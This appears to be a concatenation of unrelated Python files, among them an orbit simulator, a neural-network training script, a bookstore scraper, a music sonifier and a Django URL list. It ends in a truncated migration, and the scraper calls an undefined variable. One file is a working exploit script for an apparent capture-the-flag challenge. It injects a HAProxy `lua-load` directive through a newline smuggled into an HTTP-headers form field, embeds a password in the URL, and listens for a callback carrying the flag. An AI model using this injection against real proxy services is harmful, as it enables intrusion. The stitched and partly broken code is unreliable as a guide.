from PySimpleGUI import PySimpleGUI as sg
import pygame as pg
from itertools import combinations
from math import ceil

from Vector import Vector2, Vector3

"""
TODO
-Use combinations to calculate bodies trajectories
Ex: [Earth, Moon, Mars, Saturn] = [(Earth, Moon), (Earth, Mars), (Earth, Saturn), (Moon, Mars), (Moon, Saturn), (Mars, Saturn)]
-Trajectory
Create a class in other file
"""

G = 6.674080324960551e-11

def vec3_ignore_z(VEC3):
    return Vector2(VEC3.x, VEC3.y)

class Body:
    def __init__(self, name, r0, v0, mass, radius) -> None:
        self.name = name
        self.r0 = r0
        self.v0 = v0
        self.r = [self.r0]
        self.v = [self.v0]
        self.mass = mass
        self.radius = radius
        self.GM = G * self.mass

def get_body_by_name(body_name):
    for body in bodies:
        if body.name.lower() == body_name.lower():
            return body
    return False

def rk4_body(p, body):
    accel = Vector3(0, 0, 0)

    for other_body in bodies:
        if other_body is not body:
            delta_pos = other_body.r[-1] - p
            dist = delta_pos.magnitude()
            direction = delta_pos / dist

            accel += (other_body.GM/(dist**2)) * direction

    return accel

def rk4_vessel(p):
    accel = Vector3()

    for body in bodies:
        delta_pos = body.r[0] - p
        dist = delta_pos.magnitude()
        direction = delta_pos / dist

        accel += (body.GM/dist**2) * direction # gravity

    return accel

def calc_bodies():
    steps = ceil(body_sim_time / body_step_size)

    for body in bodies:
        body.r = [body.r0]
        body.v = [body.v0]

    for step in range(steps):
        for body in bodies:
            k1v = rk4_body(body.r[-1], body)
            k1r = body.v[-1]

            k2v = rk4_body(body.r[-1]+k1r*body_step_size*.5, body)
            k2r = body.v[-1]+k1v*body_step_size*.5

            k3v = rk4_body(body.r[-1]+k2r*body_step_size*.5, body)
            k3r = body.v[-1]+k2v*body_step_size*.5

            k4v = rk4_body(body.r[-1]+k3r*body_step_size, body)
            k4r = body.v[-1]+k3v*body_step_size

            dv = (body_step_size/6)*(k1v + 2*k2v + 2*k3v + k4v)
            dr = (body_step_size/6)*(k1r + 2*k2r + 2*k3r + k4r)

            body.v.append(body.v[-1] + dv)
            body.r.append(body.r[-1] + dr)

def calc_vessel(r0, v0, total_time):
    r = [r0]
    v = [v0]

    steps = ceil(total_time / vessel_step_size)

    for step in range(steps):
        #print(f"SIM: {(step/steps * 100):.0f}%")

        k1v = rk4_vessel(r[-1])
        k1r = v[-1]

        k2v = rk4_vessel(r[-1]+k1r*vessel_step_size*.5)
        k2r = v[-1]+k1v*vessel_step_size*.5

        k3v = rk4_vessel(r[-1]+k2r*vessel_step_size*.5)
        k3r = v[-1]+k2v*vessel_step_size*.5

        k4v = rk4_vessel(r[-1]+k3r*vessel_step_size)
        k4r = v[-1]+k3v*vessel_step_size

        dv = (vessel_step_size/6)*(k1v + 2*k2v + 2*k3v + k4v)
        dr = (vessel_step_size/6)*(k1r + 2*k2r + 2*k3r + k4r)

        v.append(v[-1] + dv)
        r.append(r[-1] + dr)

    return r, v

def update_screen():
    screen.blit(surface_enviroment, (0, 0))
    screen.blit(surface_maneuver, (0, 0))
    pg.display.update()

def render_maneuver():
    if len(r) == 0: return
    surface_maneuver.fill((0, 0, 0, 0))

    for i in range(len(maneuver_r)-1): # maneuver trajectory
        a = maneuver_r[i]
        b = maneuver_r[i+1]
        pg.draw.line(surface_maneuver, (0, 255, 0), camera_pos + vec3_ignore_z(a)*scale, camera_pos + vec3_ignore_z(b)*scale)
    pg.draw.circle(surface_maneuver, (100, 100, 100), camera_pos + vec3_ignore_z(r[maneuver_index])*scale, 5)

def render_enviroment():
    surface_enviroment.fill("#3C3846")

    for body in bodies: # draw bodies
        for i in range(len(body.r)-1): # draw body main trajectory
            a = vec3_ignore_z(body.r[i])
            b = vec3_ignore_z(body.r[i+1])
            pg.draw.line(surface_enviroment, (255, 0, 255), camera_pos + a*scale, camera_pos + b*scale)
        pg.draw.circle(surface_enviroment, (0, 0, 100), camera_pos + vec3_ignore_z(body.r[maneuver_index])*scale, body.radius*scale)

    for i in range(len(r)-1): # draw vessel main trajectory
        a = r[i]
        b = r[i+1]
        pg.draw.line(surface_enviroment, (255, 0, 0), camera_pos + vec3_ignore_z(a)*scale, camera_pos + vec3_ignore_z(b)*scale)

def mouse_down_handler(pos):
    global maneuver_index

    # set index on click
    if len(r) == 0: return
    min_index = 0
    min_dist = 9999999
    for i, p in enumerate(r):
        p_2d = camera_pos + vec3_ignore_z(p)*scale
        dist = (Vector2(pos) - p_2d).magnitude()
        if dist < min_dist:
            min_dist = dist
            min_index = i
    update_man_index(min_index)
    render_maneuver()
    update_screen()

def key_down_handler(key):
    global scale, camera_pos

    if key == pg.K_KP_PLUS or key == pg.K_PLUS:
        scale *= 1 + delta_scale
        render_enviroment()
        render_maneuver()
        update_screen()
        return
    if key == pg.K_KP_MINUS or key == pg.K_MINUS:
        scale *= 1 - delta_scale
        render_enviroment()
        render_maneuver()
        update_screen()
        return
    if key == pg.K_UP:
        camera_pos.y += camera_speed
        render_enviroment()
        render_maneuver()
        update_screen()
        return
    if key == pg.K_DOWN:
        camera_pos.y -= camera_speed
        render_enviroment()
        render_maneuver()
        update_screen()
        return
    if key == pg.K_RIGHT:
        camera_pos.x -= camera_speed
        render_enviroment()
        render_maneuver()
        update_screen()
        return
    if key == pg.K_LEFT:
        camera_pos.x += camera_speed
        render_enviroment()
        render_maneuver()
        update_screen()
        return

def controller_event_handler(event, values):
    global vessel_step_size, vessel_sim_time, maneuver_sim_time

    steps = values.copy()

    for key, value in steps.items():
        try:
            steps[key] = int(value)
        except (ValueError, TypeError):
            steps[key] = 1

    # SIMULATION
    if event == "add_sim-step-size":
        vessel_step_size += steps["step_sim-step-size"]
        window_controller["display_sim-step-size"].update(vessel_step_size)
        return
    if event == "sub_sim-step-size":
        vessel_step_size -= steps["step_sim-step-size"]
        window_controller["display_sim-step-size"].update(vessel_step_size)
        return
    if event == "add_sim-time":
        vessel_sim_time += steps["step_sim-time"]
        window_controller["display_sim-time"].update(vessel_sim_time)
        return
    if event == "sub_sim-time":
        vessel_sim_time -= steps["step_sim-time"]
        window_controller["display_sim-time"].update(vessel_sim_time)
        return
    if event == "btn_sim-exec":
        global r, v
        r, v = calc_vessel(r0, v0, vessel_sim_time)
        render_enviroment()
        update_screen()
        return

    # BODY
    if event == "btn_body-sim-exec":
        calc_bodies()
        render_enviroment()
        update_screen()
        return

    # maneuver
    if event == "add_man-time":
        maneuver_sim_time += steps["step_man-time"]
        window_controller["display_man-time"].update(maneuver_sim_time)
        return
    if event == "sub_man-time":
        maneuver_sim_time -= steps["step_man-time"]
        window_controller["display_man-time"].update(maneuver_sim_time)
        return
    if event == "add_man-index":
        update_man_index(maneuver_index + steps["step_man-index"])
        return
    if event == "sub_man-index":
        update_man_index(maneuver_index - steps["step_man-index"])
        return

    # VEL
    if event == "add_man-vel-tg":
        maneuver_vel.x += steps["step_man-vel-tg"]
        window_controller["display_man-vel-tg"].update(maneuver_vel.x)
        return
    if event == "add_man-vel-norm":
        maneuver_vel.y += steps["step_man-vel-norm"]
        window_controller["display_man-vel-norm"].update(maneuver_vel.y)
        return
    if event == "add_man-vel-rad":
        maneuver_vel.z += steps["step_man-vel-rad"]
        window_controller["display_man-vel-rad"].update(maneuver_vel.z)
        return

    if event == "sub_man-vel-tg":
        maneuver_vel.x -= steps["step_man-vel-tg"]
        window_controller["display_man-vel-tg"].update(maneuver_vel.x)
        return
    if event == "sub_man-vel-norm":
        maneuver_vel.y -= steps["step_man-vel-norm"]
        window_controller["display_man-vel-norm"].update(maneuver_vel.y)
        return
    if event == "sub_man-vel-rad":
        maneuver_vel.z -= steps["step_man-vel-rad"]
        window_controller["display_man-vel-rad"].update(maneuver_vel.z)
        return

    # maneuver EXEC
    if event == "btn_man-sim-exec":
        global maneuver_v, maneuver_r
        print("maneuver RUNNING...")

        tg = maneuver_vel.x
        m_vel = v[maneuver_index].normalize() * tg

        maneuver_r, maneuver_v = calc_vessel(r[maneuver_index], v[maneuver_index] + m_vel, maneuver_sim_time)

        render_maneuver()
        update_screen()
        return

def update_man_index(index):
    global maneuver_index
    if index < 0 or index >= len(r) or index == maneuver_index: return
    maneuver_index = index
    window_controller["display_man-index"].update(index)
    render_maneuver()
    render_enviroment()
    update_screen()

bodies = []
with open("bodies_earth_ref.txt", "r") as file: # load bodies
    for line in file.readlines()[1:]:
        name, pos, vel, mass, radius = line.replace("\n", "").split("|")
        pos = Vector3(eval(pos))
        vel = Vector3(eval(vel))
        pos.z = 0 # ignore height
        vel.z = 0 # ignore height
        mass = float(mass)
        radius = float(radius)
        bodies.append(Body(name, pos, vel, mass, radius))
earth = get_body_by_name("Earth")
moon = get_body_by_name("Moon")

bodies = [earth, moon]

# RK4
vessel_step_size = 50
body_step_size = 1000

vessel_sim_time = 5000
maneuver_sim_time = 5000
body_sim_time = 5000000

# trajectory - vessel
r = []
v = []
r0 = earth.r[0] - Vector3(0, earth.radius+400000)
v0 = Vector3(7660, 0, 0)

# bodies orbit propagation
# bodies_comb = combinations(bodies, 2)

# PG
screen_size = Vector2(800, 800)
screen = pg.display.set_mode(screen_size)
pg.display.set_caption("Orbit")

surface_enviroment = pg.Surface(screen_size)
surface_maneuver = pg.Surface(screen_size, pg.SRCALPHA)

delta_scale = 1e-1
scale = 15e-6

camera_pos = screen_size * 0.5
camera_speed = 100

maneuver_index = 0
maneuver_scale = 10
maneuver_vel = Vector3(0, 0, 0) # tg | norm | radial
maneuver_r = []
maneuver_v = []

# SG
font_sizes = [10, 12, 20, 30, 35]
font_by_size = lambda size: ("DS-Digital", size)
sg.theme("Dark")
sg.set_options(font=font_by_size(font_sizes[2]))
layout = [
    [sg.Text("==SIMULATION==", font=font_by_size(font_sizes[4]))],
    [sg.Text("Step Size"), sg.Text(str(vessel_step_size), key="display_sim-step-size", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_sim-step-size"), sg.Button("-", key="sub_sim-step-size"), sg.InputText("1", size=(5, 1), key="step_sim-step-size")],
    [sg.Text("Time"), sg.Text(str(vessel_sim_time), key="display_sim-time", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_sim-time"), sg.Button("-", key="sub_sim-time"), sg.InputText("1", size=(5, 1), key="step_sim-time")],
    [sg.Button("Simulate", key="btn_sim-exec", font=font_by_size(font_sizes[2]))],
    [sg.Text("==BODIES==", font=font_by_size(font_sizes[4]))],
    [sg.Button("Simulate", key="btn_body-sim-exec", font=font_by_size(font_sizes[2]))],
    [sg.Text("==MANEUVER==", font=font_by_size(font_sizes[4]))],
    [sg.Text("Index"), sg.Text(str(maneuver_index), key="display_man-index", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_man-index"), sg.Button("-", key="sub_man-index"), sg.InputText("1", size=(5, 1), key="step_man-index")],
    [sg.Text("Time"), sg.Text(str(maneuver_sim_time), key="display_man-time", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_man-time"), sg.Button("-", key="sub_man-time"), sg.InputText("1", size=(5, 1), key="step_man-time")],
    [sg.Text("--Vel--")],
    [sg.Text("tg"), sg.Text(str(maneuver_vel.x), key="display_man-vel-tg", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_man-vel-tg"), sg.Button("-", key="sub_man-vel-tg"), sg.InputText("1", size=(5, 1), key="step_man-vel-tg")],
    [sg.Text("norm"), sg.Text(str(maneuver_vel.y), key="display_man-vel-norm", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_man-vel-norm"), sg.Button("-", key="sub_man-vel-norm"), sg.InputText("1", size=(5, 1), key="step_man-vel-norm")],
    [sg.Text("rad"), sg.Text(str(maneuver_vel.z), key="display_man-vel-rad", font=font_by_size(font_sizes[2])), sg.Button("+", key="add_man-vel-rad"), sg.Button("-", key="sub_man-vel-rad"), sg.InputText("1", size=(5, 1), key="step_man-vel-rad")],
    [sg.Button("Execute maneuver", key="btn_man-sim-exec")],
]
window_controller = sg.Window("Controller", layout)

calc_bodies()
render_enviroment()
update_screen()

while True:
    # PG - Renderer
    for event in pg.event.get():
        if event.type == pg.QUIT:
            pg.quit()
            break
        if event.type == pg.KEYDOWN:
            key_down_handler(event.key)
        elif event.type == pg.MOUSEBUTTONDOWN:
            mouse_down_handler(pg.mouse.get_pos())

    # SG - Controller
    event, values = window_controller.read(timeout=100)

    if event == sg.WIN_CLOSED:
        pg.quit()
        break

    if event is not None: controller_event_handler(event, values)


import time
from pathlib import Path

import torch
import upsilonconf
from torch import nn
from torch.utils.data import random_split, DataLoader
from torch.utils.tensorboard import SummaryWriter
from torchvision import datasets
from torchvision.transforms import transforms
from upsilonconf import save_config
from tensorboard.backend.event_processing import event_accumulator

from convex_modules import ConvexLinear, LazyClippedPositivity, LinearSkip, ExponentialPositivity, NoPositivity
from convex_init import TraditionalInitialiser, ConvexInitialiser
from pre_processing import Whiten
from trainer import Trainer
from utils import make_deterministic

def get_data(name: str, root: str, pre_process: str = "normal", train_split: float = 0.9):
    """
    Create train- and valid dataset for experiment.

    Parameters
    ----------
    name : str
        The name of the dataset to use.
    root : str
        Path to where the data is stored on disk.
    train_split : float, optional
        The fraction of data to use for training.

    Returns
    -------
    (train, valid) : tuple of two Datasets
        A tuple of datasets for updating and evaluating the network.
    (in_shape, class_count) : tuple of torch.Size and int
        A tuple with the input shape and number of classes for this dataset.
    """
    name = name.lower().strip()
    pre_process = pre_process.lower().strip()

    if name == "mnist":
        dataset = datasets.MNIST
        mean, std = (0.1307, ), (0.3081, )
        shapes = torch.Size((1, 28, 28)), 10
    elif name == "cifar10":
        dataset = datasets.CIFAR10
        mean, std = (0.4914, 0.4822, 0.4465), (0.2470, .2435, 0.2616)
        shapes = torch.Size((3, 32, 32)), 10
    elif name == "cifar100":
        dataset = datasets.CIFAR100
        mean, std = (0.5071, 0.4865, 0.4409), (0.2673, 0.2564, 0.2762)
        shapes = torch.Size((3, 32, 32)), 100
    else:
        raise ValueError(f"unknown dataset '{name}'")

    pre_processing = transforms.Compose([transforms.ToTensor()])
    data = dataset(root, train=True, transform=pre_processing)
    if pre_process == "normal":
        pre_processing.transforms.append(transforms.Normalize(mean, std))
    elif pre_process == "pca":
        pre_processing.transforms.append(Whiten(data, zca=False))
    elif pre_process == "zca":
        pre_processing.transforms.append(Whiten(data, zca=True))

    num_train = int(train_split * len(data))
    return random_split(data, [num_train, len(data) - num_train]), shapes

def get_model(img_shape: torch.Size, num_classes: int, hidden: tuple = (),
              convex: str = None, fix_init: bool = True, skip: bool = False):
    """
    Create neural network for experiment.

    Parameters
    ----------
    img_shape : torch.Size
        The array shape of a single input image.
    num_classes : int
        The number of classes for the prediction task.
    hidden : tuple of ints, optional
        The number of neurons for each hidden layer in the network.
    convex : str, optional
        What type of convexity to use (none by default).
    fix_init : bool, optional
        Fix the initialisation of convex networks (true by default).
    skip : bool, optional
        Add skip-connections from the input to every layer (false by default).

    Returns
    -------
    model : torch.nn.Module
        Simple multi-layer perceptron, ready to train.
    """
    width = img_shape.numel()
    widths = (width, *hidden, num_classes)

    if convex is None or convex == "":
        positivity = NoPositivity()
    elif convex == "icnn":
        positivity = LazyClippedPositivity()
    elif convex == "exp":
        positivity = ExponentialPositivity()
    else:
        raise ValueError()

    # first layer is special
    layer1 = nn.Linear(width, widths[0])
    phi = nn.ReLU()
    layers = [layer1, *(
        nn.Sequential(phi, ConvexLinear(n_in, n_out, positivity=positivity))
        for n_in, n_out in zip(widths[:-1], widths[1:])
    )]

    lecun_init = TraditionalInitialiser()
    lecun_init(layer1.weight, layer1.bias)
    init = ConvexInitialiser() if (convex and fix_init) else TraditionalInitialiser(gain=2.)
    for seq in layers[1:]:
        init(seq[-1].weight, seq[-1].bias)

    if skip:
        skipped = LinearSkip(width, widths[1], nn.Sequential(*layers[:2]))
        for layer, num_out in zip(layers[2:], widths[2:]):
            skipped = LinearSkip(width, num_out, nn.Sequential(skipped, layer))
        layers = [skipped]

    return nn.Sequential(nn.Flatten(), *layers)

def run(hparams, sys_config):
    result_path = Path("results", "mlp_search")
    for p in result_path.glob(f"{hparams.id}_*"):
        if p.is_dir():
            try:
                event_path = next(p.glob(f"events.out.tfevents.*"))
                ea = event_accumulator.EventAccumulator(str(event_path))
                events = ea.Reload().Scalars("valid/acc")
                if len(events) == hparams.num_epochs + 1:
                    print(f"found existing results for {hparams.id}")
                    max_event = max(events, key=lambda e: e.value)
                    return max_event.step, max_event.value
                else:
                    print(f"run for {hparams.id} broke after {len(events)} epochs, re-running")
                    raise KeyError
            except KeyError:
                for file in p.iterdir():
                    file.unlink()

                p.rmdir()

    log_dir = result_path / time.strftime(f"{hparams.id}_%y%j-%H%M%S")
    make_deterministic(hparams.seed)

    (train, valid), shapes = get_data(root=sys_config.data_root, **hparams.data)
    train_loader = DataLoader(train, shuffle=True, batch_size=hparams.batch_size,
                              num_workers=sys_config.num_workers)
    valid_loader = DataLoader(valid, batch_size=len(valid),
                              num_workers=sys_config.num_workers)

    if sys_config.device is None:
        sys_config.overwrite("device", "cuda" if torch.cuda.is_available() else "cpu")
    model = get_model(*shapes, **hparams.model).to(sys_config.device)

    trainer = Trainer(
        model=model,
        objective=nn.CrossEntropyLoss(reduction="sum"),
        optimiser=torch.optim.Adam(model.parameters(), **hparams.adam),
        tb_writer=SummaryWriter(log_dir),
    )

    # logging
    trainer.logger.add_graph(model, next(iter(train_loader))[0].to(sys_config.device))
    save_config(hparams, f"{log_dir}/config.yaml")
    tup = hparams.pop("model.hidden")
    hparams["model.hidden"] = torch.tensor(tup) if tup else torch.tensor([-1])
    trainer.log_hparams(hparams, {
        "valid/acc": float("nan"),
        "valid/loss": float("nan"),
    })
    hparams.overwrite("model.hidden", tup)  # reset for later usage

    results = trainer.train(train_loader, valid_loader, hparams.num_epochs)
    trainer.logger.close()
    return None, results["acc"]

if __name__ == "__main__":
    from concurrent.futures import ProcessPoolExecutor
    from argparse import ArgumentParser
    parser = ArgumentParser()
    parser.add_argument("config_dir", metavar="PATH", type=Path)
    parser.add_argument("--parallel", "-P", type=int, default=5)
    sys_config, ns = upsilonconf.from_cli(parser=parser)
    if not ns.config_dir.is_dir():
        raise ValueError(f"not a directory: {ns.config_dir}")

    def _run(conf_file):
        hparams = upsilonconf.load(conf_file)
        try:
            return run(hparams, sys_config), hparams
        except RuntimeError as err:
            print(f"run {hparams.id} failed:", err)
            return -1, hparams

    pool = ProcessPoolExecutor(max_workers=ns.parallel)
    accuracies = pool.map(_run, Path.glob(ns.config_dir, "*.yaml"), chunksize=16)

    best_acc = 0.
    best_params = None
    for (epoch, acc), hparams in accuracies:
        if epoch is not None:
            hparams.overwrite("num_epochs", epoch)
        if acc > best_acc:
            best_acc = acc
            best_params = hparams
    pool.shutdown()

    if best_params is not None:
        save_config(best_params, f"results/best_{best_params.id}.yaml")
        print(f"best config: {best_params.id} ({100 * best_acc:05.2f}%)")
        print(best_params)


from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
import json

def set_chrome_driver():
    chrome_options = webdriver.ChromeOptions()
    driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options)
    return driver

options = webdriver.ChromeOptions()
options.add_experimental_option('excludeSwitches', ['enable-logging'])

# 브라우저 생성
driver = webdriver.Chrome(service=Service('/Users/user/chromedriver'), options=options)

# 웹사이트 열기
driver.get('https://google.com')

# 로딩이 끝날 동안 2초 기다린다
driver.implicitly_wait(3)

# 화면 크기 최대화
driver.maximize_window()

# 검색창 클릭
search = browser.find_element(By.NAME, 'q')
search.click()

# 검색어 입력
search.send_keys('교보문고')
search.send_keys(Keys.ENTER)

# 교보문고 홈페이지 링크 클릭 및 이동
driver.find_element(By.XPATH, '//*[@id="rso"]/div[1]/div/div/div/div/div/div/div/div[1]/a/h3').click()

# 교보문고 홈페이지로 이동하는 동안 2초 기다린다
time.sleep(2)

# 국내도서
driver.find_element(By.XPATH, '//*[@id="header"]/div[3]/ul[1]/li[1]/a').click()

# 유아(0~7세)
driver.find_element(By.XPATH, '//*[@id="main_snb"]/div[1]/ul[3]/li[1]/a/em').click()

# 베스트셀러
driver.find_element(By.XPATH, '//*[@id="container"]/div[2]/div/div/div[3]/ul/li[2]/a').click()


#!/usr/bin/python3
import requests
import socket
import os

url = "https://proxy-aas.insecurity-insa.fr/"
f_p = os.path.dirname(__file__) + "/my_ip"
if not os.path.isfile(f_p):
    my_ip = requests.get("https://api.ipify.org").text
    with open(f_p, "w") as f:
        f.write(my_ip)
with open(f_p) as f:
    my_ip = f.read()

def exploitable():
    ssl_cert = ""
    ssl_key = ""
    with open(os.path.dirname(__file__) + "/ssl_cert") as f:
        ssl_cert = f.read()
        ssl_cert = ssl_cert.format(IP=my_ip)
    with open(os.path.dirname(__file__) + "/ssl_key") as f:
        ssl_key = f.read()
    data = {
        "ip_backend1": "51.254.102.54",
        "port_backend1": 1234,
        "ip_backend2": "51.254.102.54",
        "port_backend2": 4321,
        "ssl_cert": ssl_cert,
        "ssl_key": ssl_key,
        "g-recaptcha-response": "nop",
        "http_headers": "Header1 Header1Value\n\nglobal\n    lua-load /etc/haproxy/ssl/ssl_pem\n\n"
    }

    # setup TCP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "0.0.0.0"
    port = 4455
    s.bind((host, port))
    s.listen(1)

    r = requests.post(url + "?pswd=zTOkNv6AIFFTFuZLKFRPTdiTCwHIpvqtBlUuY4103lS2Xf8nnX", data=data)

    s.settimeout(15)
    clientSocket, addr = s.accept()
    data = clientSocket.recv(4096)
    return b'INSA{' in data

def alive():
    r = requests.get(url)
    return "Proxy AAS" in r.text

if __name__ == "__main__":
    print(alive() and exploitable())


import sched
import json
import time
import itertools

import Harmony_Generators.harmonic_walk_functions
from NLP_Tools.message_comparison_toolset import TF_IDF
from NLP_Tools.corpus_mean_and_std import CorpusMeanAndStd
from NLP_Tools.sentiment_analysis_tools import get_sentiment
from pythonosc import udp_client
from pythonosc import osc_message_builder
from Rhythm_Generators import euclidean_rhythm_generator as er_gen
from Harmonic_Graph_Constructors.neo_riemannian_web import NeoriemannianWeb
from Utility_Tools.mapping_functions import linear_to_logistic as l2l
from nltk.sentiment.vader import SentimentIntensityAnalyzer

class TweetsIncomingSim:
    def __init__(self, full_corpus, formal_section_length=30, harmonic_rhythm=20, message_comparison=TF_IDF(),
                 web=NeoriemannianWeb(), sentiment_analyzer=SentimentIntensityAnalyzer()):
        # Initialize NLP objects.
        self.time_and_tweets = self.time_and_tweet_gen(full_corpus)
        self.current_partial_corpus = {}
        self.prior_partial_corpus = None
        self.prior_corpus_mean_std = CorpusMeanAndStd(0.0, 0.0)
        self.message_comparison_obj = message_comparison
        self.sentiment_analyzer = sentiment_analyzer
        # Initialize music generators and timing protocols.
        self.web = web
        self.web.build_web()
        self.formal_section_length = formal_section_length
        self.harmonic_rhythm = harmonic_rhythm
        # Initialize OSC client.
        self.client = udp_client.SimpleUDPClient("127.0.0.1", 57120)
        # Initialize scheduler
        self.scheduler = sched.scheduler(time.time, time.sleep)

    @property
    def next(self):
        return next(self.time_and_tweets)

    @staticmethod
    def time_and_tweet_gen(corpus):
        for key in corpus.keys():
            yield key, corpus[key]

    def run(self):
        time_passed = 0
        while True:
            try:
                key, value = self.next
                self.current_partial_corpus[key] = value
                time_passed += float(key)
                if time_passed >= self.formal_section_length:
                    if self.prior_partial_corpus is None:
                        diff = CorpusMeanAndStd(0.0, 0.0)
                        self.prior_partial_corpus = CorpusMeanAndStd(corpus=self.current_partial_corpus)
                        self.harmonic_walk_dummy(3, diff.mean, diff.std, harmonic_graph=self.web)
                        time_passed = 0
                    else:
                        current_corpus_mean_std = CorpusMeanAndStd(corpus=self.current_partial_corpus)
                        diff = self.prior_corpus_mean_std - current_corpus_mean_std
                        self.prior_partial_corpus = self.current_partial_corpus
                        self.current_partial_corpus = {}
                        self.prior_corpus_mean_std = current_corpus_mean_std
                        self.harmonic_walk_dummy(3, diff.mean, diff.std, harmonic_graph=self.web)
                        time_passed = 0
                else:
                    self.trigger_sounds(self.current_partial_corpus[key], float(key))
            except StopIteration:
                break
            self.scheduler.run()

    def trigger_sounds(self, data, time_interval):
        self.scheduler.enter(time_interval, 1, self.send_rhythm_materials, argument=(data, time_interval))

    def harmonic_walk_dummy(self, multiplier, lev_mean, lev_standard_of_deviation, harmonic_graph):
        num_chords_walked = int(l2l(abs(lev_mean), 0, 100, 0, 10, lev_standard_of_deviation))
        print("num_chords_walked: ", num_chords_walked)
        if num_chords_walked == 0:
            interval = self.harmonic_rhythm
        else:
            interval = self.harmonic_rhythm / num_chords_walked
        print("interval: ", interval)
        random_walk_only_new(num_chords_walked, harmonic_graph, self.client, time_interval=interval,
                             harmonic_rhythm=self.harmonic_rhythm)

    def compare_tweets(self, tweet):
        """

        :param tweet:
        :return: Tuple with closest related text and the similarity score.
        """
        return self.message_comparison_obj.new_incoming_document(tweet)

    def generate_rhythm(self, data):
        return er_gen.generate_euclidean(4, 6)

    def send_rhythm_materials(self, data, time_interval):
        rhythm = self.generate_rhythm(data)
        print(rhythm)
        msg = osc_message_builder.OscMessageBuilder(address='/pitch_triggers')
        for item in rhythm:
            msg.add_arg(item, arg_type='i')
        msg.add_arg(time_interval, arg_type='f')
        msg = msg.build()
        self.client.send(msg)

# noinspection PyShadowingNames
def generate_pitch_materials(web: NeoriemannianWeb, octave, current_chord):
    """
    This helper functionfunction simply returns an array of midi note numbers according to
    the input chord.
    :param web: neo-Riemannian web object.
    :param octave: Which octave the desired midi note numbers should be transposed to.
    :param current_chord: a major or minor triad as a Chord object.
    :return: Returns an array of midi note numbers.
    """
    chords = [current_chord]
    for chord in web.web[current_chord]:
        chords.append(chord)
    return [[note.midi_note_number + 12 * octave for note in chord.notes] for chord in chords]

def send_chord_materials(notes, client, time_interval, harmonic_rhythm):
    """
    Builds pitch materials into an OSC message, send to SuperCollider.
    :param time_interval:
    :param notes: Notes array of arrays generated by generate_pitch_materials helper function.
    :param client: OSC client
    :return:
    """
    msg = osc_message_builder.OscMessageBuilder(address='/harmonic_materials')
    pitches = list(itertools.chain(*[note for chord in notes for note in chord]))
    msg.add_arg(harmonic_rhythm, arg_type='f')
    msg.add_arg(time_interval, arg_type='f')
    for pitch in pitches:
        msg.add_arg(pitch, arg_type='i')
    msg = msg.build()
    # print(msg.params)
    client.send(msg)

def random_walk_only_new(num_chords_walked, harmonic_web, client, octave=None, time_interval=None,
                         harmonic_rhythm=None):
    """
    Function that walks randomly through a harmonic web object, selects
    Chord objects that have not been visited yet and sends their pitch materials to SC.
    :param num_chords_walked: Number of chords to be passed to SC.
    :param harmonic_web: Harmonic Web object.
    :param octave: The octave to transpose midi note values to.
    :param time_interval: The frequency that send_pitch_materials is called.
    """
    if octave is None:
        octave = 5

    if time_interval is None:
        time_interval = 5

    if harmonic_rhythm is None:
        harmonic_rhythm = 5

    chords = Harmony_Generators.harmonic_walk_functions.random_walk_only_new(num_chords_walked)
    schedule_chords(chords, time_interval, harmonic_rhythm, harmonic_web, octave, client)

def schedule_chords(chords, time_interval, harmonic_rhythm, chord_graph, octave, client):
    pitch_materials = []
    for chord in chords:
        pitch_materials.append(generate_pitch_materials(chord_graph, octave, chord))
    send_chord_materials(pitch_materials, client, time_interval, harmonic_rhythm)

if __name__ == '__main__':
    file_path = "/Users/ericlemmon/Google Drive/PhD/PhD_Project_v2/Corpora/TwiConv/time_and_tweets.json"

    with open(file_path, 'r') as file:
        tweets = json.load(file)
    # starting_chord = Chord(Note(60), Note(64), Note(67))
    # web = NeoriemannianWeb(starting_chord)
    # web = circle_of_fifths_web.CircleOfFifths(starting_chord)
    # web.build_web()
    # random_walk_only_new(3, web, client, time_interval=1)
    sim = TweetsIncomingSim(tweets, formal_section_length=20, harmonic_rhythm=30)
    sim.run()


from django.urls import path

from teacher import views

urlpatterns = [
    path('create-teacher/', views.TeacherCreateView.as_view(), name='create-teacher'),
    path('list-of-teachers/', views.TeachersListView.as_view(), name='list_of_teachers'),
    path('update-teacher/<int:pk>', views.TeacherUpdateView.as_view(), name='update_teacher'),
    path('details-teacher/<int:pk>', views.TeacherDetailView.as_view(), name='details_teacher'),
    path('delete-teacher/<int:pk>', views.TeacherDeleteView.as_view(), name='delete_teacher'),
    path('delete-modal-teacher/<int:pk>', views.delete_teacher, name='delete_modal_teacher'),
    path('students-per-teacher/<int:pk>', views.get_all_students_per_teachers, name='students_per_teacher'),
    path('teacher-api/', views.TeacherApi.as_view(), name='teacher_api')

]


#encoding:utf8
__author__ = 'gold'

'''
Count and Say

The count-and-say sequence is the sequence of integers with the first five terms as following:

1.     1
2.     11
3.     21
4.     1211
5.     111221
1 is read off as "one 1" or 11.
11 is read off as "two 1s" or 21.
21 is read off as "one 2, then one 1" or 1211.
Given an integer n, generate the nth term of the count-and-say sequence.

Note: Each term of the sequence of integers will be represented as a string.

Example 1:

Input: 1
Output: "1"
Example 2:

Input: 4
Output: "1211"

'''

class Solution:
    def countAndSay(self, n):
        """
        :type n: int
        :rtype: str
        """

        s = '1'

        if n == 1:
            return s

        count = 1
        s = '1'
        results = ''
        while count < n:
            index = 0
            while index < len(s):
                curIndex = index + 1
                while curIndex < len(s):
                    if s[index] == s[curIndex]:
                        curIndex += 1
                    else:
                        break
                results += str(curIndex - index) + s[index]
                index = curIndex
            count += 1
            s = results
            results = ''
        return s
if __name__ == '__main__':
    print(Solution().countAndSay(6))


"""opening table

Revision ID: 57983659e09a
Revises: f6c2cd989a82
Create Date: 2021-05-06 14:11:00.953669

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '57983659e09a'
down_revision = 'f6c2cd989a82'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('openings',
